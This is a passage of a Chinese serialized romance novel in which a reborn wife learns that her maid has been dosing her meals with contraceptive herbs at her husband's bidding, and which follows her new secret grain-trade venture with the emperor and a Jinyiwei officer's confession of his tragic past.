而薛嘉言也并没有羞愧难当,倒有些甘之如饴的模样。 一肚子火气像是被泼了盆冷水,却又无处可泄,憋得戚少亭太阳穴突突直跳。他猛地转身,挥起拳头狠狠砸在旁边的青砖墙上。 “咚”的一声闷响,震得窗棂都微微晃动。指关节瞬间擦破了皮,血丝慢慢渗出来,钻心的疼意让他稍稍找回了点理智。 薛嘉言看着他这副狼狈模样,眼底没有丝毫波澜,只扬声唤了句:“司春。” 门外的司春本就竖着耳朵听动静,闻言立刻推门进来,目光扫到戚少亭流血的指关节,顿时低低惊呼一声:“哎呀!大爷您的手怎么了?” 她赶紧快步上前,小心翼翼地想去扶戚少亭。 “扶大爷出去包扎。”薛嘉言吩咐道。 戚少亭甩开司春的手,却因酒劲和疼意身子晃了晃,司春赶紧又上前扶住他的胳膊,半扶半搀着戚少亭往外走。 薛嘉言坐在书案前,目送着两人的背影消失在门口,烛火的光在她眼底投下明明灭灭的光影,方才还带着几分平静的眼眸,渐渐浮起一层冷冽的光。 第二日清晨,梳妆台上的菱花镜映出薛嘉言素净的脸庞,也照见身后司春眼下的青黑。 薛嘉言不动声色问道:“你昨晚没睡好?” 司春的手顿了顿,木梳差点勾住薛嘉言的发尾,她稳住动作,带着几分小心翼翼地闪躲:“回、回奶奶,大爷昨夜喝多了,在书房吐了好几回,婢子就在旁边多守了会。” 薛嘉言看着镜中司春垂首的模样,唇角勾起一抹似笑非笑的弧度 第73章 避子散 薛嘉言梳洗罢,丫鬟们端着早餐进了屋,红木桌上摆得满满当当。 中间是一盘羊肉煎饺,外皮煎得金黄酥脆,旁边一碗桂圆红枣羹,还有一盅当归羊肉汤,另有凉拌黄瓜、清炒豆芽、豆沙糕等吃食。 薛嘉言扫过这满桌的吃食,眉头轻轻蹙起:“怎么这般腻?” 她虽爱吃羊肉,可如今入了夏,天气渐热,也勾不起胃口。 司春连忙上前,拿起筷子夹起一个煎饺放到她面前的碟子里,笑道:“奶奶往日最喜羊肉,奴婢就吩咐厨房多备了些。这煎饺是羊肉荸荠馅的,荸荠脆甜,能解腻;当归羊肉汤也是温性的,补而不燥,正适合这个时节喝。” 薛嘉言没接她搛过来的煎饺,只从碟子里夹了两筷子清炒的绿豆芽,又喝了两口微凉的小米粥,便放下了碗筷。 司春还想再劝,薛嘉言却挥了挥手,语气淡淡的:“我等会要出门,你去安排安排,让司雨进来伺候我吃饭。” 司春眼底闪过一丝不易察觉的慌乱,却还是躬身退了出去。 “奶奶有何吩咐?”司雨进来问道。 薛嘉言指了指桌上的早餐,目光冷了几分:“你把这些吃食每样都留一份,用干净的瓷碗装着,送到太医署去,请太医验一验,看看里面有没有加不该加的东西。” 她说着,递了一块温润的白玉牌给司雨,正是苗菁上次给她的。 司雨接过玉牌,脸色瞬间凝重起来。 “婢子明白,这就去办。” 薛嘉言看着司雨的背影消失在侧门,目光重新落回桌上那盘羊肉煎饺,眼神有些恍惚。前世的片段突然漫进脑海,清晰的仿佛就发生在昨日。 也是这样一个初夏,司春在净房里沐浴,戚少亭醉醺醺从外间回来,撞开了浴室的门。 后来司春裹着衣裳哭,戚少亭被哭烦了,皱着眉扔了句“哭什么?既看了你的身子,纳你做妾便是”。 那时她怕司春不愿做妾受委屈,问了她好几回。司春总是垂着泪,攥着衣角反复说“听主子的”,那怯懦又顺从的模样,让她很是心疼。 那时郭晓芸怀着身孕,戚少亭身边确实缺个伺候的人,她便顺水推舟应了这桩事,看着司春做了妾室,搬去郭晓芸的院子。 重生回来,她起初并没怀疑司春。 毕竟司春是吕家的家生子,父母兄弟都在吕家当差,一家子的生计都系在吕家身上,按说绝不敢背叛她。 她不再因名声而自怨自艾后,多关注身边人,才慢慢察觉出不对劲。 相比之下,戚少亭的演技倒真算好,并没有露出什么破绽。 傍晚,司雨推开房门,反手关紧,转身的瞬间,她“噗通”一声跪倒在地,嘴唇抖得厉害,声音带着哭腔:“大奶奶……司春姐姐她……她是糊涂了,您大人有大量,就饶她这一命吧!” 薛嘉言正坐在窗边翻书,闻言指尖顿了顿,心里那点悬着的猜测终于落了实,像块石头沉到了底。 说不震动是假的,毕竟是从前信任过的人,可她面上却依旧绷着,声音没带半分波澜,只淡淡问道:“饭菜里有什么?” 司雨眼泪终于忍不住掉了下来,砸在青砖上,晕开一小片湿痕。她吸了吸鼻子,声音哽咽着道:“羊肉煎饺、当归羊肉汤,桂圆红枣羹里,都掺了少量的避子散。里头有红花、水蛭这些药材,说是……说是房事后服用,能断孕气……” 薛嘉言猛地攥紧拳头,难怪前几次她从宫里回来,第二日一早的饭食总比平时丰盛,且必定有羊肉做的菜和甜腻的羹汤。 避子散里的红花、水蛭带着些微的腥苦,寻常吃食里藏不住,可羊肉的淳厚能裹住那点苦味,桂圆红枣的甜香又能压下药材的涩气,两者掺在一起,竟让人半点尝不出异样。 司春不过是个丫鬟,就算有胆子动手,也绝没门路弄到避子散。能悄无声息弄来药材,还能让司春乖乖听话执行的,除了戚少亭,还能有谁? 薛嘉言这才明白为何自己每月月事时腹痛得像刀绞,为何与姜玄三年欢好,却从未有过身孕,她甚至偷偷怀疑过是不是姜玄身子有问题。 司雨跪在地上,抽噎着求道:“奶奶,司春姐姐定是被大爷逼的,她……她也是身不由己,您看在她从前伺候您尽心尽力的份上,好歹饶她一命吧?她家里还有老母亲要养……” 薛嘉言深吸一口气,缓缓松开攥紧的拳头,掌心留下几道深深的月牙印。她看向司雨,声音平静得听不出情绪:“你先起来,别哭了。” 司雨迟疑着起身,薛嘉言又继续道:“这件事,你就当不知道,往后该怎么做还怎么做,别让任何人看出破绽。” 司雨看着薛嘉言眼底深不见底的冷意,她不敢多问,只忙不迭地点头:“是,奴婢听奶奶的,绝不多说一个字。” 薛嘉言挥了挥手让她退下,司春绝不能留在身边,一次不忠百次不用,她既然这么听戚少亭驱使,便不再是她的人。 薛嘉言坐在书案前,沉吟片刻,提笔写字。写完后,她将信纸折成方胜,用蜡封好,才把司春叫进来。 “这封信你亲自送到苗府,交给郭大奶奶,务必亲手交到她手上。”薛嘉言将信递过去,语气平淡。 司春揣着信匆匆出了戚府,一路赶往苗府。她进去后,便没有再出来。 与此同时,太后寝宫内,药香弥漫。太后半靠在铺着软垫的榻上,脸色略显苍白,不时发出几声轻微的咳嗽。宫女绿萼端着一碗温热的汤药过来,小心翼翼地用银勺舀起递到太后唇边:“太后,该喝药了。” 太后喝了两口,苦涩的药味在舌尖散开,她蹙了蹙眉,问道:“昨晚宫宴上,跟在皇帝身边的那个宫女,查到是谁了吗?” 夜宴上皇帝隔着屏风抱宫女喝酒,还被鞑靼使臣调侃,这事在宫里早已传开。 绿萼回道:“禀太后,说是……是千茉姑娘。” “千茉?”太后的眉头拧得更紧,千茉是长宜宫的老人,性子沉稳,相貌清秀,却算不上出众,她有些疑惑皇帝为何会对千茉格外不同。 太后沉默片刻,对绿萼道:“你去给长宜宫传个话,就说明日下朝后,请皇帝过来一趟,哀家有话问他。” 第74章 善解人意的太后 第二日下朝后,姜玄便径直去了太后寝宫。 他穿着一身常服,进门先躬身行礼:“儿臣给母后请安,母后今日气色看着好了些。” 太后示意他坐下,先拉着家常问起鞑靼使团的情况:“听说左贤王这次来,是想谈通商的事?进展如何了?” 姜玄端起宫女递来的茶,浅啜一口,缓缓回道:“还算顺利。儿臣已让鸿胪寺和户部的人跟他们对接细节,过几日便可拟定通商章程。” 太后点点头,目光落在姜玄脸上,话锋忽然一转:“哀家听说,你昨夜在宫宴上,当着群臣的面抱着千茉喝酒,连左贤王都调侃你呢。” 姜玄语气却依旧淡然:“没有当面,还有屏风挡着。” 他刻意淡化了细节,不想让太后过多追问。 太后却没打算就此打住,看着他道:“你若是真喜欢千茉,不如就封个美人,留在身边伺候。” 姜玄放下茶盏,摇了摇头,语气里带着漫不经心:“不必了。千茉在长宜宫伺候惯了,方方面面都合儿臣的心意,若是封了美人,按规矩得搬去东西六宫,反倒离得远了,不方便。” 太后语气缓了缓,似是斟酌了许久才开口:“上次西山狩猎那件事,哀家已经查清楚了。是李嬷嬷收了别家贵女的贿赂,原本该是她进去给你送解酒茶的,谁知被李瑶那丫头撞见——她向来热心,便自作主张端去了。” 说到这里,太后脸上掠过一丝歉意,抬手轻轻拍了拍姜玄的手背:“哀家对不住你,没管好身边的人。李嬷嬷是哀家的奶娘,自哀家出生便日夜不离,情分不同寻常,哀家实在狠不下心处置她,已经命人将她打发去皇陵伺候了,也算给你一个交代,你也别怪哀家心慈。” 姜玄忙起身躬身道:“母后言重了,儿臣怎敢怪母后。” 他心中明镜似的,李嬷嬷于太后而言,不是普通的奶娘,更像是半个亲人。能将她送去皇陵,远离宫廷,已是太后能做的最严厉的惩处。 何况那件事终究没造成什么严重后果,他当初不悦,不过是气太后有心谋算,如今知晓并非太后授意,那点芥蒂便烟消云散了。 太后见他神色诚恳,并无不满,这才放下心来,又道:“待鞑靼使团离京,朝臣们只怕又要扎堆提起选秀之事了。你跟哀家说实话,到底为何不愿选秀?” 姜玄闻言,眉头轻轻蹙起。他自己也说不清缘由,并非厌恶选秀,只是一想到要与一群素不相识的女子周旋,为了朝堂制衡、绵延子嗣而择妃,便提不起半分兴致。 他沉默片刻,才缓缓道:“儿臣也说不清,只是觉得……没有什么喜欢不喜欢的,也便不想凑这个热闹。” “怎么会没有喜欢的?”太后带着几分试探问道,“你也十九了,寻常人家的男子,这个年纪早已儿女绕膝。春狩时那么多贵女,一个中意的都没有吗……” 若不是太后知道他临幸了宫女,也要跟着怀疑姜玄跟他祖父一样好男风了。 姜玄沉默了片刻,身为帝王,为皇家开枝散叶也是他的责任,他并不能一直逃避。 太后看着他欲言又止的模样,脸上露出几分宠溺的笑容,再次拍了拍他的手:“罢了,强扭的瓜不甜。你若实在不想选秀,等那些老家伙们再提起,哀家便去帮你挡着。左右你还年轻,总能等到你中意的。” 姜玄闻言,心头瞬间一松,抬眸看向太后,眼底带着真切的笑意,躬身谢道:“多谢母后体谅。” 太后见他面色松快,自己也跟着高兴起来,语气愈发温和:“你许久没陪哀家用饭了,今日中午便留下,陪哀家好好吃一顿。御膳房刚炖了你爱吃的松茸鸽肉盅,正好尝尝。” “儿臣遵旨。”姜玄含笑应下。 姜玄陪着太后用完膳,辞别后便径直回了紫宸殿。他走到御案后坐下,抬手揉了揉发胀的太阳穴,指腹按压着眉心,片刻后才抬眼对殿外唤道:“张鸿宝。” 张鸿宝应声而入,躬身垂首立在阶下,声音恭敬:“奴才在,皇上有何吩咐?” “你去趟福运粮行,找周明发,传朕的话。就说粮行明日起多一位东家,他的任务便是协助这位新东家,打通大兖与鞑靼之间的粮食生意。朕记得他早年在边境做过粮贸,应对这些事该是熟稔的,想来不难。” 张鸿宝躬身应道:“奴才遵旨,这就去办。” 福运粮行虽是京城数得着的大粮行,对外只说是民间商户,实则是甄太妃留给皇上的私产,这些年一直由周明发打理,除了姜玄近身伺候的几个人,鲜有人知晓这层渊源。 张鸿宝便到了福运粮行。周明发听闻宫中公公来访,忙亲自迎到前厅,见是张鸿宝亲自来了,更是不敢怠慢,忙上前行礼,命人奉茶。 待屏退左右,张鸿宝才将皇帝的吩咐一一告知,末了补充道:“新东家姓薛,是位女子。” “女子?”周明发闻言,眼睛瞬间睁大了两分。 他在福运粮行做了十几年掌柜,经手的生意往来皆是男子,从未想过会来一位女子东家,还是皇上亲自指派的,一时竟有些怔愣。 张鸿宝见状,放下茶盏,语气带着几分安抚,又藏着几分深意:“周掌柜莫急,这位薛东家虽为女子,家中却是世代经商的,对商事熟得很,且性子随和,不难相处。” 他说着,唇角勾起一抹意味深长的笑,“皇上特意交代此事,可见重视。周掌柜若是把这事办好了,将来的福气,还在后头呢。” 周明发何等精明,听出张鸿宝话里的暗示,瞬间收敛了惊讶,忙拱手道:“多谢张公公指点,草民明白了,定不负皇上所托,好好协助薛东家。” 他知道皇上选人向来有考量,这位薛东家能得皇上如此看重,绝非寻常女子,自己只需守好本分,尽心协助便是。 张鸿宝见他领会,便不再多留,起身告辞。 周明发送出门后,立刻回到后堂,寻了个可靠的伙计,亲笔写了封短笺,嘱咐道:“把这信送到戚府,想办法交给大奶奶薛氏,不可有误。” 第75章 可能私奔了吧 薛嘉言接到周明发的信后,不敢耽搁,当即换了身素雅的湖蓝色衣裳,带着司雨悄悄出了戚府,直奔信中约定的“清茗茶楼”。 刚踏入二楼雅间,周明发便已等候在那里,见她进来,忙起身躬身行礼,语气恭敬:“草民周明发,见过薛东家。” 薛嘉言抬手虚扶了一把,笑道:“周掌柜不必多礼,往后还要仰仗你多费心。” 两人分宾主坐下,周明发将福运粮行的经营概要与边境粮贸的渠道一一告知,薛嘉言听得仔细,不时点头,心里对后续合作的规划愈发清晰。 不出两日,苏伯远便按约定来联系薛嘉言。 待听薛嘉言提及自己代表的是福运粮行,苏伯远的眼神瞬间亮了,他放下茶盏,哈哈笑道:“嘉嘉小姐有所不知,福运粮行原本就在我们这次备选的几家粮行中,他家的粮品质好,渠道稳。老朽实在没想到,嘉嘉小姐竟是福运粮行背后的东家,这可真是巧了!” 薛嘉言从清茗茶楼回府后,屏退了上前伺候的丫鬟,在书案前坐下思索。 她记得前世今年秋天,是个难得的丰收年,百姓欢喜鼓舞。可谁也没料到,入了冬竟会遇几十年难遇的严寒,腊月里的寒风像刀子似的刮过街巷,天桥下冻僵的乞丐与日俱增,五城兵马司每天都要拉几车送到乱葬岗,河道冰封运粮不易,炭价粮价都飞涨。 鞑靼那边本就缺粮,严寒又冻死了大半牲畜,没了食物的部落饿得红了眼,好几股势力趁机越过边境,抢粮抢物资,而大兖的军队因没有准备足够的御寒物资,冻伤冻死的士兵不少,边境的战事断断续续没停过。 当时姜玄为了应对军需,忙着调粮调兵,焦头烂额地还病了一场。 薛嘉言思索着,鞑靼缺粮,可草原上最不缺的是羊毛。每年春秋季,鞑靼部落都会剪下大量羊毛,要么制成毡毯自用,要么低价卖给往来的商队,可到了缺粮的时候,再多的羊毛也换不来活命的粮食。 大兖今年秋收后粮食充足,正好可以低价收购百姓手中的余粮;将粮食运到鞑靼,以粮换毛;再把羊毛运回大兖,交给织坊制成棉衣、毡毯。 这样一来,鞑靼的百姓有了粮,不会再因冻饿犯边;大兖的百姓有了保暖的羊毛制品,能安稳过冬;甚至连边境的军需,只要能提前备好充足的棉衣,再也不会有士兵冻毙的惨状,若有小股敌军来袭,也能从容应对。 越想越觉得这主意可行,薛嘉言的眼里渐渐有了光。 这两天通过与周明发和苏伯远的交谈,她心里更有底了。福运粮行再大兖境内买粮、储备、运输都已经成熟,至于运输到鞑靼的渠道,周明发早年做过边境粮贸,肯定有熟悉的商队,再加上苏伯远在鞑靼的人脉,两边衔接起来,应该不会太难。 薛嘉言踌躇满志,伏在书案前,提笔在纸上勾勒粮贸与皮毛兑换的大致章程,身后忽然传来戚少亭的声音。 “嘉嘉,你在做什么?” 薛嘉言几乎是本能的抬手,将写满计划的纸张揉成紧实的纸团,手腕一扬便扔进了桌下的铜制纸篓里,转过身时脸上已没了半分方才的热切,只剩淡然:“没什么,闲来无事练练字。” 戚少亭站在门口,他虽心有疑虑,却没再多问,走上前道:“这两日怎么没见司春?今日找她取东西都没见着人。” 薛嘉言闻言,脸上瞬间笼上一层冷意,语气带着几分“恼怒”:“说起这事我正气着呢!前几日让她去郭姐姐那里送封信,谁知这丫头竟半路跑了,至今没回来!我正想着明日去报官,问问是不是出了什么事,还是……” 她故意顿了顿,眼底掠过一丝讥诮,“还是这丫头大了,心里有了情郎,偷偷私奔了。” “不会吧?”戚少亭脸色骤变,下意识地脱口而出,“司春跟着你这么多年,性子沉稳,怎么会做私奔这种事?” 薛嘉言抬眼看向他,目光带着几分探究,语气轻飘飘却像根针:“哦?你倒是知道得清楚。” 戚少亭被她问得一噎,慌忙抬手摸了摸鼻子,眼神有些闪躲:“我……我只是觉得司春不像那种人。许是路上出了岔子,比如走失了?你别着急报官,我去五城兵马司问问,说不定能找到人。” 说罢,他便匆匆转身出了门。 戚少亭出门后,没往五城兵马司的方向去,反倒朝着苗家所在的胡同走去。 这些日子他一直暗中查郭晓芸,早已查到她从徐维租的院子搬走,挪去了元宝胡同,对外只说是“借住在弟弟府上”。 戚少亭当然知道郭晓芸这个所谓的弟弟是谁,他直觉这人有问题,从大同回来后很是花了一番功夫,已经查到这人竟是锦衣卫的人。 到了苗家门前,戚少亭整理了一下衣袍,对门房道:“劳烦通传一声,就说……薛大奶奶身边的人,有要事想当面跟郭大奶奶说。” 他故意隐瞒了自己的身份,怕郭晓芸不肯见他。 门房进去通报没多久,便出来引他入内领去了前院的倒坐间。 不多时,郭晓芸便掀帘进来。她穿着一身素色布裙,头发挽成简单的发髻,脸上没施粉黛,却颊带红晕,气色极好。 郭晓芸看到戚少亭,身子僵了一瞬,握着帘角的手不自觉收紧,当着门房的面,戚少亭又是薛嘉言的夫君,她不好转身就走,只能强压下心头的慌乱,敛衽行了一礼问道:“戚大人,您怎么来了?是……是薛妹妹有什么吩咐吗?” 眼前的郭晓芸虽穿着素衣,没施粉黛,可眉梢眼角的柔媚劲儿却藏不住。 细长的眉眼微微弯着,鼻尖小巧,唇瓣是天然的淡粉色,哪怕只是垂着头,也透着一股江南女子的温婉娇俏。 这模样落在戚少亭眼里,让他心里那点隐秘的心思又活络起来,喉咙都跟着有些发痒。 第76章 你一定吃过很多苦吧? 戚少亭想起从前徐维还在的时候,曾隔着雕花窗棂见过一幕。 彼时是夏日,徐家院里,郭晓芸坐在徐维怀里,藕节似的白嫩手臂勾着徐维的脖子,乌黑的发丝垂落在徐维的衣襟上,头埋在他颈间,不知说了些什么,笑得格外绚烂。后来她抬起头,竟还凑过去,在徐维的脸颊上轻轻亲了一口,那动作又娇又软。 郭晓芸转脸的时候瞥见花窗后面的戚少亭,脸色瞬间变了,像受惊的小兔子似的,慌忙从徐维的大腿上跳下来,手忙脚乱地理了理衣裙,红着脸转身就往内室跑。 徐维顺着她的目光看过来,瞧见窗外的戚少亭,嘴角勾起一抹得意的笑,还故意朝他挑了挑眉,低声哈哈笑了两声,那笑声里的满足与炫耀。 从那以后,戚少亭便总忍不住羡慕徐维。能得郭晓芸这样活色生香的女子,会撒娇,会粘人,连笑都带着甜意,哪像薛嘉言?说话做事一本正经,连夫妻间的亲近都透着几分克制,半点趣味都没有。 他却从未想过,郭晓芸那般娇憨粘人的模样,不是天生就有,而是徐维日日宠出来的。 徐维会记得她爱吃的蜜饯,会在她受委屈时护着她,会把她的小性子当成情趣。他只看到了郭晓芸的鲜活,却忽略了这份鲜活背后,是有人把她当成宝贝似的疼爱着。 此刻看着眼前垂手而立的郭晓芸,戚少亭喉结动了动,原本想问司春的话竟被压在了心底,反倒先开口道:“没什么要紧事,就是路过这里,听说你借住在苗家,便过来问问……你近来过得还好?” 郭晓芸语气温和却带着几分疏离:“多谢戚大人关怀,我与薛妹妹素来交好,日常往来她都清楚,大人若有想问的,回府问薛妹妹便是。” 戚少亭脸上的温度瞬间降了几分,眉峰微蹙,却也不好再纠缠,只能话锋一转,提起司春:“嫂子,前几日内子说让司春来你这儿送信,你可知她送完信后去了哪里?” 郭晓芸闻言,眼中露出真切的吃惊,问道:“司春不见了?她那日送完信便走了,我还特意让丫鬟送她到门口,没见有什么异样啊……我真不知道她去了哪里。” 她说的是实话,司春离开苗家后,便被苗菁安排的人悄悄接走,她从头到尾都不知情,此刻脸上的茫然绝非作假。 戚少亭盯着她的眼睛看了半晌,见她眼底只有困惑,没有半分闪躲,心头的疑虑反倒更重。 他压下心头的揣测,目光扫过院外,见门房远远站在影壁后,离倒坐间尚有一段距离,低声说话该不会被听见,便往前探了探身子,声音压得更低:“嫂子,有件事我得提醒你,你可知你这位弟弟真正是做什么的?” 郭晓芸愣了愣,下意识回道:“他在五城兵马司当差……” “他骗你的!”戚少亭突然打断她,语气笃定道,“他是锦衣卫!” “锦衣卫”三个字一出口,郭晓芸的脸色“唰”的一下变得惨白,她扶着身后的椅子扶手才勉强站稳,声音发颤地问:“戚大人……您说得可当真?这可不能开玩笑啊!” 锦衣卫是直接听命于皇帝的亲军,专管监察、缉捕,办案素来不择手段,诏狱更是人间炼狱。多少官员一夜之间被抄家灭族,多少百姓因一句无心之言被抓进诏狱,出来时非死即残。 民间提起锦衣卫,无不谈之色变,都说他们是“索命的黑无常”,只要被他们盯上,就没有能全身而退的。苗三弟怎么会是这样的人? 戚少亭见她吓成这样,眼底掠过一丝得意,语气却依旧凝重:“当然是真的,不确定的事,我怎会拿来跟嫂子说?我也是查了许久,才摸清他的底细。” 他顿了顿又道:“嫂子,你一个寡居女子,住在锦衣卫的府上,传出去对你的名声可不好。再说,锦衣卫的人心思深沉,你就不怕他对你别有图谋?” 郭晓芸却像没听见他后面的话,脸色苍白得吓人。 过了好一会儿,她才猛地回过神,声音细若蚊蚋:“我……我还有事,先不跟戚大人说话了。”说罢,便踉踉跄跄地往二门走去。 戚少亭看着她慌乱的背影,嘴角勾起一抹不易察觉的笑。 虽没找到司春的下落,却在郭晓芸心里种下了一根刺——他不信,等郭晓芸知道那“弟弟”是锦衣卫后,还能像从前那样坦然住在元宝胡同。 天色暗下来,苗菁下值后回家,手里提着一篮子新鲜的甜瓜,郭晓芸爱吃这个。 他刚踏入大门,门房便凑上前来,压低声音禀报:“大人,今日有位相公来找奶奶,奶奶称呼他‘戚大人’,两人在倒坐间说了会话,后来奶奶回去时,眼睛就红了。” 苗菁心中一紧,面上却依旧平静,只淡淡点头:“知道了,你下去吧。” 他转身往前院书房走,先褪去身上的官服,换上一身常服,对着院里的沙袋打了两拳,压下心头的戾气,这才抬脚往二门去。 他找到郭晓芸,郭晓芸坐在厢房窗下的软榻上,双眼红肿得像核桃,眼尾还挂着未干的泪痕,显然是刚哭过一场。 苗菁心头一沉,快步上前,蹲在她面前,声音放得又轻又柔:“晓芸姐,你怎么哭了?” 郭晓芸缓缓抬眸,泪水又忍不住涌了上来,她哽咽着问:“苗三弟,你……你是锦衣卫?” 苗菁喉结滚动了一下,却迟迟没有开口。他垂着眼,不知该怎么回答。 他早就知道锦衣卫的名声,是京城里父母用来吓哭孩子的“活阎王”,是百姓见了就躲的“黑煞神”,他怕这身份吓着晓芸姐,怕她像旁人一样怕自己,才一直瞒着。 若不是戚少亭多嘴,她安安稳稳待在后院,或许过很久都不会知道。想到这里,他恨不得现在就捏死戚少亭。 郭晓芸见他沉默,眼泪掉得更凶,她伸手,轻轻碰了碰苗菁的脸颊,声音带着心疼:“你一定吃过很多苦吧?” 苗菁猛的抬头,撞进她满是心疼的眼眸里,瞬间愣住。 第77章 怀抱 “你一定吃了很多苦吧?” 苗菁想过他的晓芸姐会害怕地躲开,会愤怒地质问,会哭着要离开,却唯独没想过,她第一句话竟是关心自己吃没吃苦。 那些被刻意尘封的记忆突然翻涌上来:寒冬里泡在冰水里练憋气,深夜里对着木桩练到指骨渗血,第一次执行任务时被人捅了一刀,在破庙里捂着伤口熬到天亮……这些苦,他从未对人说过,连自己都快忘了该怎么提起。 他张了张嘴,声音有些艰涩,带着不易察觉的颤抖:“没……还好。” 郭晓芸擦了擦眼泪,又问:“你原是读书人,为何成了锦衣卫?” 她记忆里的苗菁是个斯文白净的少年郎,说话温温和和,所以在京城第一次见到他,差点没认出来。 “从前我问你为何来京城,你只说男儿志在四方,如今我才知道你是骗我的。苗菁,你告诉我,到底发生了什么?是不是家里出了什么事,你才不得不做这个?” 她的声音带着哽咽,饱含着心疼,苗菁听在耳里,心肝也跟着颤起来。 “我十四岁那年,县里要修河道,知县为了凑政绩,硬给百姓摊派‘河工银’,家家户户都要捐钱,可他收了钱,却在河道的夯土、石料上动了手脚,大半银子都进了自己腰包。” 苗菁顿了顿,喉结滚动了一下,似在吞咽旧日的苦涩:“我爹身为主簿,管着县里的账册,很快就查到了猫腻。他说河工是性命关天的事,下游十几万百姓的性命、田宅都系在这河道上,绝不能让贪官毁了。他连夜写了状纸,想偷偷送到府台那里,可刚出城门,就被知县的人截住了。” “后来……”苗菁的声音低了下去,“知县怕我爹再闹事,竟趁着夜黑,放火烧了我们家,对外只说是走水失了火外。那晚我去同窗家温书,没在家,等我赶回来时,整个院子都烧得塌了顶,浓烟滚滚,全家人都没了……” 郭晓芸抬手捂住嘴,无比心疼地看着苗菁,汹涌的泪水模糊她的双眼,却还是看到了苗菁的痛苦。 “第二日,一个穿玄色劲装、腰佩绣春刀的人找到了我,他是锦衣卫的总旗,说知道知县贪墨,也知道我爹的冤情。” 苗菁抬眼,眼底映着烛火,有水光闪动,“他问我想不想为家人报仇,想不想让知县认罪。我那时什么都顾不上了,跟着他深夜溜进县衙翻查旧账,白天去河道寻找证据,甚至偷偷溜进知县的私宅找贪墨的凭证,好几次都差点被抓住。” “最后我们找到了知县贪墨的铁证,把他送进了大狱。总旗说我心思细、能忍,适合做锦衣卫,问我愿不愿意加入。我想着,只有握着眼线、有权力,才能护住想护的人,才不会再让亲人枉死,就答应了。” 郭晓芸听到这里,再也忍不住,眼泪掉得更凶了。 她从没想过,苗家竟是这样惨烈的结局,更没想过当年那个笑容腼腆的白净少年,十四岁时就成了孤儿,背着血海深仇,在黑暗里摸爬滚打,吃了多少苦才能活到今天。 她脑海里不由自主浮现出少年苗菁的模样——穿着洗得发白的长衫,捧着书卷站在院角,眉眼清秀却透着一股倔强,被顽童笑话“像姑娘”时,只会攥紧拳头不说话。 “苗三弟……” 郭晓芸哽咽着,伸手轻轻摸了摸苗菁的头,动作自然得像从前无数次那样,“你太苦了,真的太苦了……我心里难受得慌……” 苗菁也回忆起当年——小时候他总跟在郭晓芸身后,她做了桂花糕,总会先给他留一块;长大一点后,他熬夜苦读失眠,她特意去后山采了安神的草药,缝成香囊送他;有街坊说他“男娃女相,难成栋梁”,也是她出言反驳,说“我家三弟是要做探花的,当然要长得好看”…… “晓芸姐……”苗菁的声音突然崩了,带着浓重的鼻音,眼泪毫无预兆地掉了下来。 不知是他主动扑过去,还是郭晓芸伸手揽住了他,总之他的头埋进了郭晓芸的怀里,双手下意识地环住了她的腰,像个受了天大委屈的孩子,肩膀一抽一抽地抽泣起来。 郭晓芸僵了一下,能清晰地感觉到怀中人高大的身躯在颤抖,毛茸茸的脑袋就搁在她的腿上。 她知道男女授受不亲,这样的姿势不妥,可看着他这副卸下所有防备的脆弱模样,想起他十四岁就背负的一切,怎么也狠不下心推开。 她只好轻轻抬起手,顺着他的后背慢慢抚摸,像小时候哄受了委屈的他那样,声音温柔得近乎叹息:“哭吧,哭出来就好了……” 苗菁的呜咽声裹着浓重的鼻音,埋在郭晓芸怀里的头轻轻蹭了蹭,像只受惊后寻到归处的幼兽,声音里满是祈求:“晓芸姐,你别怪我……我真的不是故意要骗你……这世上我就只剩你一个亲人了。我怕我说了身份,你会怕我、会嫌弃我,会离开我……” 郭晓芸的心像被什么东西轻轻揪了一下,酸意顺着心口蔓延到鼻尖,眼泪又忍不住涌了上来。她自小也是孤儿,靠着姑姑接济才长大,最懂无依无靠的滋味。 苗菁是她看着长大的,她早把他当成了自己的亲弟弟。 她抬手轻轻抚着苗菁的头发,柔声道:“我怎么会怪你呢?我不会离开你的。” 苗菁抱着郭晓芸的手臂猛地收紧了些,像是要把这份温暖牢牢攥在怀里。他慢慢停止了抽泣,只觉得心里被填得满满的,是前所未有的满足。 这几年所受的委屈和痛苦,在这个怀抱里,全都化解了。 他唇角微勾,带着淡淡笑意,她说她不会离开的,只要她在他身边,她总会认清楚他的心意。 苗菁抱着郭晓芸哭了一场,心满意足地离开了厢房,回到书房,他让人把薄广叫来,冷冷道:“找到戚少亭,背着人抽几个巴掌,告诉他多嘴多舌,下次便是割舌。” 薄广领命而去,苗菁仍有些烦躁,若不是看在薛嘉言的面子上,他真想找个机会把戚少亭杀了。 第78章 说服皇帝 夜已深沉,薛嘉言歪靠在寝殿榻边,等姜玄处理完政务归来,这几日有些忙,疲惫涌上来,不知不觉便合了眼,坠入了梦乡。 梦里是前世的场景,高家杨夫人碰到她和母亲,翻着白眼骂了一句:“不知廉耻”。画面一转,姜玄一道旨意下来,高家满门被削去爵位,昔日嚣张之人尽数俯首认罪。她站在人群中,看着仇人落魄的模样,积压多年的委屈与恨意得到宣泄,即便在梦中,仍心绪翻涌,忍不住低呓出声:“高家……公道……皇上……” 姜玄刚回寝殿,怕惊扰她休息,特意换了软底鞋,轻手轻脚地走近,恰好将这断断续续的呓语听了个真切。 他停下脚步,目光落在她紧蹙的眉头和微微颤抖的眼睑上,眸色深了深。 薛嘉言本就睡得不沉,梦中的情绪太过强烈,再加上身边多了一道熟悉的气息,瞬间便醒了过来。 她睁开眼,撞进姜玄深邃的眼眸里,还有些恍惚。 姜玄俯身坐下,温热的手掌轻轻抚上她的发丝,动作温柔,轻声问:“做了什么梦?怎么竟叫了朕?” 薛嘉言心头一凛,瞬间清醒过来。 梦中场景有些荒诞,高家是世家,又是重臣,皇帝不可能仅仅为了博她一笑下一道旨意削爵。 她敛去眼底的情绪,抬手揉了揉眼睛,嘴角勾起一抹温柔的笑,声音软软道:“梦到皇上,自然是因为想皇上了。” 姜玄闻言轻笑,不再似从前那般带着急切的灼热,只将薛嘉言搂在怀里,轻轻摩挲着她的长发,声音低沉,带着一丝慵懒问道:“跟周明发对接得如何?” 薛嘉言依偎在他胸膛,听着他沉稳的心跳,回道:“周掌柜办事稳妥,粮仓情况都跟我说清楚了,商队也备好待命了。他说过几日便是鞑靼挑选合作商铺的日子,我在想,要不要亲自去露个面。” 姜玄低头,下巴抵着她的发顶,轻轻摇头:“不必。” 他道:“福运粮行的东家历来隐于幕后,鞑靼只需要确认粮源稳、运力足便够了,无需知晓东家是谁。等你把两边粮贸做起来,打出名声,再找个合适的由头把你推到台前,若不然,现在就以你的身份出面,会给你带来不便。” 薛嘉言明白姜玄说得在理,只是仍有些失落,她正准备大展拳脚呢。 